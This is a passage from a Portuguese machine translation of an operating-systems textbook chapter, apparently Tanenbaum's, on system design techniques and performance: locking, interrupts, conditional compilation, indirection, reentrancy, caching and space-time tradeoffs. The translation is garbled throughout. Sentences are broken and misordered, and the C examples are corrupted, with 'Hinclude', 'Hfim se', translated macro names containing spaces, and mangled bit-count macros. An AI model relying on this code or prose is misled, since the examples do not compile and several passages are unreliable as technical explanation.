dados compartilhadas. Nesse caso, o bloqueio é inevitável. Infelizmente, conseguir o 
trava certo não é fácil. A solução mais simples é lançar um único grande bloqueio em todos 
estruturas de dados compartilhadas (semelhantes ao grande bloqueio do kernel). Sempre que um tópico quiser 
acessar as estruturas de dados compartilhadas, ele precisa primeiro capturar o bloqueio. Por questões de 
desempenho, um único grande bloqueio é uma má ideia, porque os threads acabam esperando uns pelos outros. 
o tempo todo, mesmo que não entrem em conflito. O outro extremo, muitos micro 
bloqueios para (partes) de estruturas de dados individuais, é muito mais rápido, mas entra em conflito com nosso 
princípio orientador número um: simplicidade. 

Outros sistemas operacionais constroem sua comunicação entre processos usando primitivas 
assíncronas. De certa forma, a comunicação assíncrona é ainda mais simples do que 
seu primo síncrono. Um processo cliente envia uma mensagem para um servidor, mas em vez disso 
em vez de esperar que a mensagem seja entregue ou que uma resposta seja enviada de volta, ele 
simplesmente continua em execução. Claro, isso significa que ele também recebe a resposta de forma 
assíncrona e deve lembrar qual solicitação lhe correspondeu quando ela chegar. O 
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O servidor normalmente processa as solicitações (eventos) como um único thread em um loop de eventos. 
Sempre que a solicitação exige que o servidor entre em contato com outros servidores para processamento 
adicional, ele envia uma mensagem assíncrona própria e, em vez de bloquear, continua com a próxima solicitação. 
Vários threads não são necessários. Com apenas um único 
eventos de processamento de threads, o problema de vários threads acessando dados compartilhados 
estruturas não podem ocorrer. Por outro lado, um manipulador de eventos de longa duração faz com que o 
a resposta do servidor de thread único é lenta. 

Se threads ou eventos são o melhor modelo de programação é uma questão de longa data. 
questão controversa que mexeu com os corações dos fanáticos de ambos os lados desde então 
Artigo clássico de John Ousterhout: "Por que threads são uma má ideia (para a maioria dos propósitos)" 
(1996). Ousterhout argumenta que os threads tornam tudo desnecessariamente complicado: 
bloqueio, depuração, retornos de chamada, desempenho — você escolhe. É claro que não seria 
seria uma controvérsia se todos concordassem. Alguns anos depois do artigo de Ousterhout, Von 
Behren et al. (2003) publicaram um artigo intitulado "Por que os eventos são uma má ideia (para servidores de 
alta simultaneidade)." Portanto, decidir sobre o modelo de programação correto é uma tarefa difícil, 
mas uma decisão importante para projetistas de sistemas. Não há vencedor absoluto. Rede 
servidores como o apache adotam comunicação e threads síncronos, mas outros 
como o lighttpd são baseados no paradigma orientado a eventos. Ambos são muito populares. Em 
em nossa opinião, os eventos costumam ser mais fáceis de entender e depurar do que os threads. Contanto 


como não há necessidade de simultaneidade por núcleo, eles são provavelmente uma boa escolha. 


12.3.9 Técnicas Úteis 


Acabamos de examinar algumas idéias abstratas para projeto e implementação de sistemas. Agora 
examinaremos uma série de técnicas concretas úteis para implementação de sistemas. Existem muitos outros, é 
claro, mas as limitações de espaço 


nos restrinja a apenas alguns. 
Escondendo o hardware 


Muito hardware é feio. Ele precisa ser ocultado desde o início (a menos que exponha energia, o que a 
maioria dos hardwares não faz). Alguns dos detalhes de nível muito baixo podem ser ocultados por uma camada 
do tipo HAL, do tipo mostrado na Figura 12-2 como camada 1. No entanto, 
muitos detalhes de hardware não podem ser ocultados dessa forma. 

Uma coisa que merece atenção antecipada é como lidar com interrupções. Eles 
tornam a programação desagradável, mas os sistemas operacionais precisam lidar com isso. Um 
abordagem é transformá-los em outra coisa imediatamente. Por exemplo, cada 
interrupção pode ser transformada em um tópico pop-up instantaneamente. Nesse ponto estamos lidando com 
threads, em vez de interrupções. 

Uma segunda abordagem é converter cada interrupção em uma operação de desbloqueio em um 
mutex que o driver correspondente está aguardando. Então o único efeito de uma interrupção é fazer com que 


algum thread fique pronto. 
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Uma terceira abordagem é converter imediatamente uma interrupção em uma mensagem para algum 
fio. O código de baixo nível apenas cria uma mensagem informando de onde veio a interrupção 
de, coloca-o na fila e chama o agendador para (potencialmente) executar o manipulador, que 
provavelmente estava bloqueado aguardando a mensagem. Todas essas técnicas e outras 
como eles, todos tentam converter interrupções em operações de sincronização de threads. Ter cada 
interrupção tratada por um thread adequado em um contexto adequado é mais fácil de gerenciar do que 
executar um manipulador no contexto arbitrário em que ocorreu. 
É claro que isso deve ser feito de forma eficiente, mas no interior do sistema operacional, tudo deve ser feito 
de forma eficiente. 

A maioria dos sistemas operacionais é projetada para rodar em múltiplas plataformas de hardware. 
Essas plataformas podem diferir em termos de chip de CPU, MMU, comprimento de palavra, RAM 
tamanho e outros recursos que não podem ser facilmente mascarados pelo HAL ou equivalente. 
No entanto, é altamente desejável ter um único conjunto de arquivos de origem que sejam usados 
para gerar todas as versões; caso contrário, cada bug que surgir posteriormente deverá ser corrigido diversas 
vezes em diversas fontes, com o perigo de que as fontes se separem. 

Algumas diferenças de hardware, como o tamanho da RAM, podem ser resolvidas com o 
sistema operacional determina o valor no momento da inicialização e o mantém em uma variável. Os 
alocadores de memória, por exemplo, podem usar a variável tamanho da RAM para determinar o tamanho da memória. 
faça o cache de blocos, tabelas de páginas e assim por diante. Até mesmo tabelas estáticas, como a tabela 
de processos, podem ser dimensionadas com base na memória total disponível. 

No entanto, outras diferenças, como chips de CPU diferentes, não podem ser resolvidas por 
ter um único binário que determina em tempo de execução em qual CPU ele está sendo executado. Um 
maneira de resolver o problema de uma fonte e múltiplos alvos é usar condicional 
compilação. Nos arquivos de origem, certos sinalizadores de tempo de compilação são definidos para as 
diferentes configurações e são usados para colocar entre colchetes o código que depende do 
CPU, comprimento da palavra, MMU e assim por diante. Por exemplo, imagine um sistema operacional 
que deve ser executado na linha IA32 de chips x86 (às vezes chamados de x86-32), ou 
em chips UltraSPARC, que precisam de código de inicialização diferente. O procedimento de inicialização 
poderia ser escrito como ilustrado na Figura 12.6(a). Dependendo do valor da CPU, 
que é definido no arquivo de cabeçalho config.h, um tipo de inicialização ou outro é 
feito. Porque o binário real contém apenas o código necessário para o destino 
máquina, não há perda de eficiência desta forma. 

Como segundo exemplo, suponha que haja necessidade de um tipo de dados Register, que 
deve ser de 32 bits no IA32 e 64 bits no UltraSPARC. Isso poderia ser conduzido manualmente pelo código 
condicional da Figura 12.6(b) (assumindo que o compilador produza 
Ints de 32 bits e comprimentos de 64 bits). Uma vez feita esta definição (provavelmente numa 
arquivo de cabeçalho incluído em todos os lugares), o programador pode simplesmente declarar variáveis como 
do tipo Register e saiba que terão o comprimento certo. 

O arquivo de cabeçalho, config.h, deve ser definido corretamente, é claro. Para o IA32 
pode ser algo assim: 


#define CPU IA32 
#define COMPRIMENTO DA PALAVRA 32 
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Hinclude "config.h" Hinclude "config.h" 

init() #if (COMPRIMENTO DA PALAVRA == 32) 
typedef int Registro; 

{ #if (CPU == IA32) Hfim se 

/* Inicialização IA32 aqui. */ 

Hfim se #if (COMPRIMENTO DA PALAVRA == 64) 
typedef registro longo; 

Hif (CPU == ULTRASPARC) Hfim se 

/* Inicialização do UltraSPARC aqui. */ 

Hfim se Registre RO, R1, R2, R3; 


(a) (b) 


Figura 12-6. (a) Compilação condicional dependente da CPU. (b) Compilação condicional 
dependente do comprimento da palavra. 


Para compilar o sistema para o UltraSPARC, um config.h diferente seria usado, 
com os valores corretos para o UltraSPARC, provavelmente algo como 


#define ULTRASPARC CPU 
#define COMPRIMENTO DA PALAVRA 64 


Alguns leitores podem estar se perguntando por que CPU e WORD LENGTH são tratados 
por diferentes macros. Poderíamos facilmente ter colocado entre colchetes a definição de Registro 
com um teste na CPU, configurando-o para 32 bits para o IA32 e 64 bits para o Ultra SPARC. No entanto, 
esta não é uma boa ideia. Considere o que acontece quando mais tarde 
portar o sistema para o ARM de 32 bits. Teríamos que adicionar uma terceira condicional a 


Figura 12.6(b) para o ARM. Ao fazê-lo como fizemos, tudo o que temos a fazer é incluir o 
linha 


#define COMPRIMENTO DA PALAVRA 32 


para o arquivo config.h para o ARM. 

Este exemplo ilustra o princípio da ortogonalidade que discutimos anteriormente. Aqueles 
itens que dependem da CPU devem ser compilados condicionalmente com base na CPU 
macro, e aqueles que dependem do comprimento da palavra devem usar o WORD LENGTH. 
macro. Considerações semelhantes são válidas para muitos outros parâmetros. 


Indireção 


Às vezes se diz que não há problema na ciência da computação que não possa ser resolvido. 
ser resolvido com outro nível de indireção. Embora seja um exagero, 
definitivamente há um grão de verdade aqui. Consideremos alguns exemplos. Sobre 
sistemas baseados em x86, antes dos teclados USB se tornarem a norma, quando uma chave é 
pressionado, o hardware gera uma interrupção e coloca o número da chave, em vez de 
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um código de caracteres ASCII, em um registro de dispositivo. Além disso, quando a tecla é 
liberada posteriormente, é gerada uma segunda interrupção, também com o número da chave. 
Essa indireção permite ao sistema operacional a possibilidade de utilizar o número da chave para 
indexar em uma tabela para obter o caractere ASCII, o que facilita o manuseio dos diversos 
teclados utilizados ao redor do mundo em diversos países. Obter as informações de pressionar e 
liberar torna possível usar qualquer tecla como tecla shift, uma vez que o sistema operacional sabe 
a sequência exata em que as teclas foram pressionadas e liberadas. 


A indireção também é usada na saída. Os programas podem escrever caracteres ASCII na 
tela, mas estes são interpretados como índices em uma tabela para a fonte de saída atual. 

A entrada da tabela contém o bitmap do caractere. Essa indireção permite separar os caracteres 
das fontes. 

Outro exemplo de indireção é o uso dos principais números de dispositivos no UNIX. 
Dentro do kernel existe uma tabela indexada pelo número principal do dispositivo para os 
dispositivos de bloco e outra para os dispositivos de caracteres. Quando um processo abre um 
arquivo especial como /dev/hdo0, o sistema extrai o tipo (bloco ou caractere) e os números de 
dispositivo principais e secundários do i-node e indexa na tabela de driver apropriada para localizar 
o driver. Essa indireção facilita a reconfiguração do sistema, porque os programas lidam com 
nomes simbólicos de dispositivos, e não com nomes reais de drivers. 

Ainda outro exemplo de indireção ocorre em sistemas de passagem de mensagens que 
nomeiam uma caixa de correio em vez de um processo como destino da mensagem. Ao fazer a 
indireta através de caixas de correio (em vez de nomear um processo como destino), pode-se 
conseguir uma flexibilidade considerável (por exemplo, ter um assistente para lidar com as 
mensagens do seu chefe). 

De certa forma, o uso de macros, como 


#define TAMANHO DA TABELA PROC 256 


também é uma forma de indireção, já que o programador pode escrever código sem precisar saber 
o tamanho real da tabela. É uma boa prática dar nomes simbólicos a todas as constantes (exceto 
às vezes 1,0 e 1) e colocá-los em cabeçalhos com comentários explicando para que servem. 


Reutilização 


Frequentemente é possível reutilizar o mesmo código em contextos ligeiramente diferentes. 
Fazer isso é uma boa ideia, pois reduz o tamanho do binário e significa que o código deve ser 
depurado apenas uma vez. Por exemplo, suponha que bitmaps sejam usados para rastrear blocos 
livres no disco. O gerenciamento de blocos de disco pode ser feito com procedimentos alocados e 
livres que gerenciam os bitmaps. 

No mínimo, esses procedimentos devem funcionar para qualquer disco. Mas podemos ir além 
disso. Os mesmos procedimentos também podem funcionar para gerenciar blocos de memória, 
blocos no cache de blocos do sistema de arquivos e i-nodes. Na verdade, eles podem ser usados 
para alocar e desalocar quaisquer recursos que possam ser numerados linearmente. 
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Reentrada 


A reentrada refere-se à capacidade do código ser executado duas ou mais vezes 
simultaneamente. Em um multiprocessador, sempre existe o perigo de que enquanto uma CPU 
está executando algum procedimento, outra CPU comece a executá-lo também, antes que a 
primeira termine. Nesse caso, dois (ou mais) threads em CPUs diferentes podem estar executando 
o mesmo código ao mesmo tempo. Esta situação deve ser protegida usando mutexes ou algum 
outro meio para proteger regiões críticas. 

No entanto, o problema também existe em um uniprocessador. Em particular, a maior parte de 
qualquer sistema operacional é executado com interrupções habilitadas. Fazer o contrário perderia 
muitas interrupções e tornaria o sistema não confiável. Enquanto o sistema operacional está 
ocupado executando algum procedimento, P, é inteiramente possível que ocorra uma interrupção e 
que o manipulador de interrupção também chame P. Se as estruturas de dados de P estivessem 
em um estado inconsistente no momento da interrupção, o manipulador irá vê-los em um estado 
inconsistente e falhar. 

Um exemplo óbvio de onde isso pode acontecer é se P for o escalonador. Suponha que algum 
processo tenha esgotado seu quantum e o sistema operacional esteja movendo-o para o fim da fila. 
No meio da manipulação da lista, ocorre a interrupção, prepara algum processo e executa o 
escalonador. Com as filas em estado de tenda inconsistente, o sistema provavelmente travará. 
Como consequência, mesmo em um uniprocessador, é melhor que a maior parte do sistema 
operacional seja reentrante, que as estruturas de dados críticas sejam protegidas por mutexes e 
que as interrupções sejam desativadas nos momentos em que não podem ser toleradas. 


Força Bruta 


Usar a força bruta para resolver um problema ganhou má reputação ao longo dos anos, mas 
muitas vezes é o caminho a seguir em nome da simplicidade. Todo sistema operacional possui 
muitos procedimentos que raramente são chamados ou operam com tão poucos dados que não 
vale a pena otimizá-los. Por exemplo, frequentemente é necessário pesquisar diversas tabelas e 
arrays dentro do sistema. O algoritmo de força bruta consiste em apenas deixar a tabela na ordem 
em que as entradas são feitas e pesquisá-la linearmente quando algo precisar ser consultado. Se o 
número de entradas for pequeno (digamos, menos de 1.000), o ganho com a classificação da tabela 
ou o hash dela será pequeno, mas o código será muito mais complicado e terá maior probabilidade 
de conter bugs. Classificar ou fazer hash da tabela de montagem (que controla os sistemas de 
arquivos montados em sistemas UNIX) realmente não é uma boa ideia. 

É claro que, para funções que estão no caminho crítico, digamos, troca de contexto, tudo deve 
ser feito para torná-las muito rápidas, possivelmente até mesmo escrevê-las em linguagem assembly 
(Deus nos livre). Mas grandes partes do sistema não estão no caminho crítico. Por exemplo, muitas 
chamadas de sistema raramente são invocadas. Se houver uma bifurcação a cada segundo e levar 
1 ms para ser executada, mesmo otimizá-la para O ganha apenas 0,1%. Se o código otimizado for 
maior e com mais bugs, pode-se argumentar que não se preocupe com a otimização. 
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Verifique primeiro se há erros 


Muitas chamadas do sistema podem falhar por vários motivos: o arquivo a ser aberto pertence a 
outra pessoa; a criação do processo falha porque a tabela de processos está cheia; ou um sinal não 
pode ser enviado porque o processo alvo não existe. O sistema operacional deve verificar 
minuciosamente todos os erros possíveis antes de realizar a cnamada. 

Muitas cnamadas de sistema também exigem a aquisição de recursos, como slots de tabela de 
processos, slots de tabela de i-node ou descritores de arquivo. Um conselho geral que pode evitar muitos 
problemas é primeiro verificar se a chamada do sistema pode realmente ser realizada antes de adquirir 
quaisquer recursos. Isso significa colocar todos os testes no início do procedimento que executa a 
chamada do sistema. Cada teste deve ter o formato 


if (condição-de erro) return(CÓDIGO DE ERRO); — 


Se a chamada passar por toda a gama de testes, é certo que será bem-sucedida. Nesse ponto, os 
recursos podem ser adquiridos. 

Intercalar os testes com a aquisição de recursos significa que se algum teste falhar no caminho, 
todos os recursos adquiridos até aquele ponto deverão ser devolvidos. Se um erro for cometido aqui e 
algum recurso não for retornado, nenhum dano será causado imediatamente. 

Por exemplo, uma entrada da tabela de processos pode ficar permanentemente indisponível. 

Nada demais. No entanto, durante um período de tempo, esse bug pode ser acionado várias vezes. 
Eventualmente, a maioria ou todas as entradas da tabela de processos podem ficar indisponíveis, levando 
a uma falha do sistema de uma forma extremamente imprevisível e difícil de depurar. 

Muitos sistemas sofrem com esse problema na forma de vazamentos de memória. Normalmente, 

o programa chama malloc para alocar espaço, mas esquece de chamar free mais tarde para liberá-lo. 
Gradualmente, toda a memória desaparece até que o sistema seja reinicializado. 

Engler et al. (2000) propuseram uma maneira de verificar alguns desses erros em tempo de 
compilação. Eles observaram que o programador conhece muitas invariantes que o compilador não 
conhece, como quando você bloqueia um mutex, todos os caminhos começando no bloqueio devem 
conter um desbloqueio e não mais bloqueios do mesmo mutex. Eles desenvolveram uma maneira de o 
programador informar esse fato ao compilador e instruí-lo a verificar todos os caminhos em tempo de 
compilação em busca de violações da invariante. O programador também pode especificar que a memória 
alocada deve ser liberada em todos os caminhos e em muitas outras condições. 


12.4 DESEMPENHO 


Se todas as coisas forem iguais, um sistema operacional rápido é melhor do que um lento. 
Entretanto, um sistema operacional rápido e não confiável não é tão bom quanto um sistema operacional 
lento e confiável. Como otimizações complexas geralmente levam a bugs, é importante usá-las com moderação. 
Apesar disso, há locais onde o desempenho é crítico e as otimizações valem o esforço. Nas seções a 
seguir, veremos algumas técnicas que podem ser usadas para melhorar o desempenho em locais onde 
isso é necessário. 
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12.4.1 Por que os sistemas operacionais são lentos? 


Antes de falar sobre técnicas de otimização, vale ressaltar que o 
a lentidão de muitos sistemas operacionais é, em grande parte, autoinfligida. Por exemplo, 
sistemas operacionais mais antigos, como MS-DOS e UNIX versão 7, inicializados em um 
alguns segundos. Os sistemas UNIX e Windows modernos podem levar dezenas de segundos 
para inicializar, apesar de rodar em hardware 1000 vezes mais rápido. A razão é que 
eles estão fazendo muito mais, desejados ou não. O caso em questão. Plug and play torna isso 
um pouco mais fácil instalar um novo dispositivo de hardware, mas o preço pago é aquele em 
a cada inicialização, o sistema operacional precisa sair e inspecionar todo o hardware para ver se 
há algo novo por aí. Essa varredura de barramento leva tempo. 

Uma abordagem alternativa (e, na opinião dos autores, melhor) seria descartar 
totalmente plug-and-play e tem um ícone na tela chamado "Instalar novo hardware". Ao instalar um 
novo dispositivo de hardware, o usuário clicaria nele para iniciar 
a varredura do barramento, em vez de fazê-lo a cada inicialização. Os projetistas dos sistemas atuais 
estavam bem cientes desta opção, é claro. Eles a rejeitaram, basicamente, porque 
presumiu que os usuários eram estúpidos demais para fazer isso corretamente (embora eles 
diria isso com mais gentileza). Este é apenas um exemplo, mas existem muitos mais 
onde o desejo de tornar o sistema “amigável” retarda o sistema todos os 
tempo para todos. 

Provavelmente, a maior coisa que os projetistas de sistemas podem fazer para melhorar o 
desempenho é ser muito mais seletivos ao adicionar novos recursos. A questão a 
A pergunta não é se alguns usuários gostam, mas se vale a pena o preço inevitável em 
tamanho, velocidade, complexidade e confiabilidade do código. Somente se as vantagens superarem 
claramente as desvantagens é que deverá ser incluído. Os programadores têm tendência a 
suponha que o tamanho do código e a contagem de bugs serão 0 e a velocidade será infinita. A 
experiência mostra que esta visão é um pouco otimista. 

Outro fator que desempenha um papel é o marketing do produto. Quando a versão 4 ou 
5 de algum produto chegou ao mercado, provavelmente todos os recursos que são realmente úteis 
foram incluídos e a maioria das pessoas que precisam do produto já o possui. 
isto. Para manter as vendas, muitos fabricantes continuam a produzir uma 
fluxo constante de novas versões, com mais recursos, apenas para que possam vender atualizações 
aos clientes existentes. Adicionar novos recursos apenas por adicionar novos recursos pode ajudar 
nas vendas, mas raramente ajuda no desempenho. Quase nunca ajuda na confiabilidade. 


12.4.2 O que deve ser otimizado? 


Como regra geral, a primeira versão do sistema deve ser tão simples 
que possível. As únicas otimizações devem ser coisas que obviamente irão 
ser um problema que eles são inevitáveis. Ter um cache de bloco para o sistema de arquivos é 
tal exemplo. Quando o sistema estiver instalado e funcionando, medições cuidadosas 
deveria ser feito para ver para onde o tempo realmente está indo. Com base nesses números, 
as otimizações devem ser feitas onde forem mais úteis. 
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Aqui está uma história verídica de onde uma otimização fez mais mal do que bem. Um dos 
autores (AST) teve um ex-aluno (que aqui permanecerá anônimo) que escreveu o programa mkfs 
MINIX original. Este programa estabelece um novo sistema de arquivos em um disco recém- 
formatado. O aluno passou cerca de 6 meses otimizando-o, incluindo a colocação de cache de 
disco. Quando ele o entregou, não funcionou e exigiu vários meses adicionais de depuração. Este 
programa normalmente é executado no disco rígido uma vez durante a vida útil do computador, 
quando o sistema é instalado. Ele também é executado uma vez para cada disco formatado. Cada 
execução leva cerca de 2 segundos. Mesmo que a versão não otimizada tenha demorado 1 minuto, 
foi um mau uso de recursos gastar tanto tempo otimizando um programa que é usado com tão 
pouca frequência. 

Um slogan que tem considerável aplicabilidade à otimização de desempenho é 


Bom o suficiente é bom o suficiente. 


Com isso queremos dizer que, uma vez que o desempenho tenha atingido um nível razoável, 
provavelmente não valerá a pena o esforço e a complexidade para extrair os últimos por cento. 
Se o algoritmo de escalonamento for razoavelmente justo e mantiver a CPU ocupada 90% do 
tempo, ele estará fazendo seu trabalho. Conceber um sistema muito mais complexo e 5% melhor 
é provavelmente uma má ideia. Da mesma forma, se a taxa de páginas for baixa o suficiente para 
não ser um gargalo, geralmente não vale a pena se esforçar para obter o desempenho ideal. Evitar 
desastres é muito mais importante do que obter o desempenho ideal, especialmente porque o que 
é ideal para uma carga pode não ser ideal para outra. 

Outra preocupação é o que otimizar e quando. Alguns programadores têm a tendência de 
otimizar até o fim tudo o que desenvolvem, assim que parece funcionar. 
O problema é que após a otimização, o sistema pode ficar menos limpo, dificultando a manutenção 
e a depuração. Além disso, torna mais difícil adaptá-lo e talvez fazer uma otimização mais frutífera 
posteriormente. O problema é conhecido como otimização prematura. 
Donald Knuth, às vezes referido como o pai da análise de algoritmos, disse certa vez que “a 
otimização prematura é a raiz de todos os males”. 


12.4.3 Compensações espaço-temporais 


Uma abordagem geral para melhorar o desempenho é equilibrar tempo versus espaço. 
Frequentemente ocorre na ciência da computação que há uma escolha entre um algoritmo que usa 
pouca memória, mas é lento, e um algoritmo que usa muito mais memória, mas é mais rápido. Ao 
fazer uma otimização importante, vale a pena procurar algoritmos que ganhem velocidade ao usar 
mais memória ou, inversamente, economizem memória preciosa ao fazer mais cálculos. 


Uma técnica que às vezes é útil é substituir pequenos procedimentos por macros. O uso de 
uma macro elimina a sobrecarga associada a uma chamada de procedimento. O ganho é 
especialmente significativo se a chamada ocorrer dentro de um loop. Por exemplo, suponha que 
usamos bitmaps para controlar recursos e frequentemente precisamos saber quantas unidades 
estão livres em alguma parte do bitmap. Para isso precisaremos de um procedimento, contagem de 
bits, que conta o número de 1 bits em um byte. O 
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O procedimento óbvio é mostrado na Figura 12.7(a). Ele percorre os bits de um byte, contando- 
os um de cada vez. É muito simples e direto. 


define TAMANHO DE BYTE 8 /* Um byte contém 8 bits */ 


int contagem de bits(int byte) 
{ /* Conta os bits em um byte. */ 
int i, contagem = 0; 


para (i = 0; i <TAMANHO DE BYTE; i++) /* faz um loop sobre os bits em um byte *// 
if ((byte >> i) & 1) contagem++; * se este bit for 1, adicione à contagem *//* 
return(contagem); return n sum */ 


(a) 


/ *Macro para somar os bits de um byte e retornar a soma. */ define contagem 
de bits (b) ((b&1) + ((b>>1)8&1) + ((b>>2)81) + ((b>>3)81) + \ ((b>> 4)&1) + ((b>>5)&1) + ((b>>6)&1) 
+ ((b>>7)&1)) 


(b) 


/ *Macro para consultar a contagem de bits em uma tabela. */ 
caracteres bits[256] = (0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4, 1, 2, 2, 3, 2 , 3, 3, ...); fdefine contagem de 
bits(b) (int) bits[b] 


(c) 


Figura 12-7. (a) Um procedimento para contar bits em um byte. (b) Uma macro para contar os bits. (c) 
Uma macro que conta bits por consulta de tabela. 


Este procedimento tem duas fontes de ineficiência. Primeiro, ele deve ser chamado, o 
espaço de pilha deve ser alocado para ele e ele deve retornar. Toda chamada de procedimento 
tem essa sobrecarga. Segundo, ele contém um loop e sempre há alguma sobrecarga 
associada a um loop. 

Uma abordagem completamente diferente é usar a macro da Figura 12.7(b). É uma 
expressão in-line que calcula a soma dos bits mudando sucessivamente o argumento, 
mascarando tudo, exceto o bit de ordem inferior, e somando os oito termos. A macro dificilmente 
é uma obra de arte, mas aparece no código apenas uma vez. 

Quando a macro é chamada, por exemplo, por 


soma = contagem de bits(tabela[i]); 


a chamada da macro parece idêntica à chamada do procedimento. Assim, além de uma 
definição um tanto confusa, o código não parece pior no caso da macro do que no caso do 
procedimento, mas é muito mais eficiente, pois elimina tanto a sobrecarga da chamada do 
procedimento quanto a sobrecarga do loop. 

Podemos levar este exemplo um passo adiante. Por que calcular a contagem de bits? 
Por que não procurar em uma tabela? Afinal, existem apenas 256 bytes diferentes, cada um 
com um valor único entre 0 e 8. Podemos declarar uma tabela de 256 entradas, bits, com 
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cada entrada inicializada (em tempo de compilação) para a contagem de bits correspondente a esse byte 
valor. Com esta abordagem nenhum cálculo é necessário em tempo de execução, apenas um 
operação de indexação. Uma macro para realizar o trabalho é mostrada na Figura 12.7(c). 
Este é um exemplo claro de troca do tempo de computação pela memória. No entanto, 
poderíamos ir ainda mais longe. Se a contagem de bits para palavras inteiras de 32 bits for necessária, usando 
nossa macro de contagem de bits , precisamos realizar quatro pesquisas por palavra. Se expandirmos o 
tabela para 65.536 entradas, podemos nos bastar com duas pesquisas por palavra, ao preço de uma 
mesa muito maior. 
Procurar respostas em tabelas também pode ser usado de outras maneiras. Um conhecido 
A técnica de compactação de imagem, GIF, usa pesquisa de tabela para codificar pixels RGB de 24 bits. 
No entanto, o GIF só funciona em imagens com 256 cores ou menos. Para que cada imagem 
ser compactado, uma paleta de 256 entradas é construída, cada entrada contendo um 
Valor RGB de 24 bits. A imagem compactada consiste então em um índice de 8 bits para cada 
pixel em vez de um valor de cor de 24 bits, um ganho de um fator de três. Essa ideia é ilustrada para uma seção 
4 x 4 de uma imagem na Figura 12-8. A imagem compactada original 
é mostrado na Figura 12.8(a). Cada valor é um valor de 24 bits, com 8 bits para a intensidade 
de vermelho, verde e azul, respectivamente. A imagem GIF é mostrada na Figura 12.8(b). 
Cada valor é um índice de 8 bits na paleta de cores. A paleta de cores é armazenada como parte 
do arquivo de imagem e é mostrado na Figura 12.8(c). Na verdade, há mais no GIF, mas 
a ideia central é a pesquisa de tabela. 


24 bits 8 bits 24 bits 


o 
9[ 4217] 
s [10.15] 
7 3813 


Figura 12-8. (a) Parte de uma imagem não compactada com 24 bits por pixel. (b) O 
mesma parte compactada com GIF, com 8 bits por pixel. (c) A paleta de cores. 


Existe outra maneira de reduzir o tamanho da imagem e ilustra uma compensação diferente. PostScript é 
uma linguagem de programação que pode ser usada para descrever imagens. 
(Na verdade, qualquer linguagem de programação pode descrever imagens, mas o PostScript é ajustado 
para esse propósito.) Muitas impressoras possuem um interpretador PostScript integrado para serem 
capazes de executar programas PostScript enviados a eles. 
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Por exemplo, se houver um bloco retangular de pixels da mesma cor em uma imagem, um programa 
PostScript para a imagem carregaria instruções para colocar um retângulo em um determinado local e 
preenchê-lo com uma determinada cor. Apenas alguns bits são necessários para emitir este comando. 
Quando a imagem é recebida na impressora, um intérprete deve executar o programa para construir a 
imagem. Assim, o PostScript consegue a compactação de dados às custas de mais computação, uma 
compensação diferente da consulta de tabela, mas valiosa quando a memória ou a largura de banda são 
escassas. 

Outras compensações geralmente envolvem estruturas de dados. As listas duplamente vinculadas 
ocupam mais memória do que as listas vinculadas individualmente, mas geralmente permitem acesso mais 
rápido aos itens. As tabelas hash desperdiçam ainda mais espaço, mas são ainda mais rápidas. Resumindo, 
uma das principais coisas a considerar ao otimizar um trecho de código é se o uso de diferentes estruturas de 
dados representaria a melhor compensação entre tempo e espaço. 


12.4.4 Cache 


Uma técnica bem conhecida para melhorar o desempenho é o cache. É aplicável sempre que for 
provável que o mesmo resultado seja necessário várias vezes. A abordagem geral é fazer o trabalho 
completo na primeira vez e depois salvar o resultado em um cache. 

Nas tentativas subsequentes, o cache é verificado primeiro. Se o resultado estiver lá, ele será usado. 
Caso contrário, todo o trabalho será feito novamente. 

Já vimos o uso do cache dentro do sistema de arquivos para armazenar alguns blocos de disco usados 
recentemente, salvando assim uma leitura de disco em cada ocorrência. No entanto, o cache também pode 
ser usado para muitos outros fins. Por exemplo, analisar nomes de caminhos é surpreendentemente caro. 
Considere novamente o exemplo UNIX da Figura 4.36. 

Para procurar /usr/ast/mbox são necessários os seguintes acessos ao disco: 


1. Leia o i-node para o diretório raiz (i-node 1). 
2. Leia o diretório raiz (bloco 1). 

3. Leia o i-node para /usr (i-node 6). 

4. Leia o diretório /usr (bloco 132). 

5. Leia o i-node para /usr/ ast (inode 26). 


6. Leia o diretório /usr/ast (bloco 406). 


aSão necessários seis acessos ao disco apenas para descobrir o número do i-node do arquivo. Em 

seguida, o próprio nó i deve ser lido para descobrir os números dos blocos do disco. Se o arquivo for menor 

que o tamanho do bloco (por exemplo, 1024 bytes), serão necessários oito acessos ao disco para ler os dados. 
Alguns sistemas otimizam a análise do nome do caminho armazenando em cache combinações 

(caminho, i-node). Para o exemplo da Figura 4.36, o cache certamente conterá as três primeiras entradas 

da Figura 12.9 após analisar /usr/ast/mbox. As últimas três entradas vêm da análise de outros caminhos. 


Quando um caminho precisa ser procurado, o analisador de nomes primeiro consulta o cache e 
procura pela substring mais longa presente no cache. Por exemplo, se o caminho 
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Caminho Número do nó I 
/usr 6 
lusr/ast 26 
/usr/ast/mbox 60 
/usr/astilivros 92 
/usr/bal 45 
/usr/bal/paper.ps 85 


Figura 12-9. Parte do cache do i-node da Figura 4.36. 


/usr/ ast/ grants/erc é apresentado, o cache retorna o fato de que /usr/ast é o i-node 26, 
então a busca pode começar aí, eliminando quatro acessos ao disco. 

Um problema com os caminhos de cache é que o mapeamento entre o nome do arquivo e o número do nó 
i não é fixo para sempre. Suponha que o arquivo /usr/ast/mbox seja 
removido do sistema e seu i-node reutilizado para um arquivo diferente de propriedade de um usuário diferente. 
Mais tarde, o arquivo /usr/ast/mbox é criado novamente e desta vez obtém o i-node 
106. Se nada for feito para evitar isso, a entrada do cache estará errada e as pesquisas subsequentes retornarão 
o número do i-node errado. Por esta razão, quando um arquivo ou 
diretório é excluído, sua entrada de cache e (se for um diretório) todas as entradas abaixo dele 
deve ser eliminado do cache. 

Blocos de disco e nomes de caminhos não são os únicos itens que podem ser armazenados em cache. Nós | 
também pode ser armazenado em cache. Se threads pop-up forem usados para lidar com interrupções, cada um deles 
eles requerem uma pilha e algumas máquinas adicionais. Estes usados anteriormente 
threads também podem ser armazenados em cache, já que reformar um usado é mais fácil do que criar um 
novo do zero (para evitar ter que alocar memória). Praticamente qualquer coisa 


que é difícil de produzir pode ser armazenado em cache. 


12.4.5 Dicas 


As entradas de cache estão sempre corretas. Uma pesquisa de cache pode falhar, mas se encontrar um 
entrada, essa entrada é garantidamente correta e pode ser usada sem mais delongas. Em 
alguns sistemas, é conveniente ter uma tabela de dicas. Estas são sugestões 
sobre a solução, mas não há garantia de que estejam corretos. O chamado deve verificar 
o resultado em si. 

Um exemplo bem conhecido de dicas são os URLs incorporados nas páginas da Web. Clicar em um link 
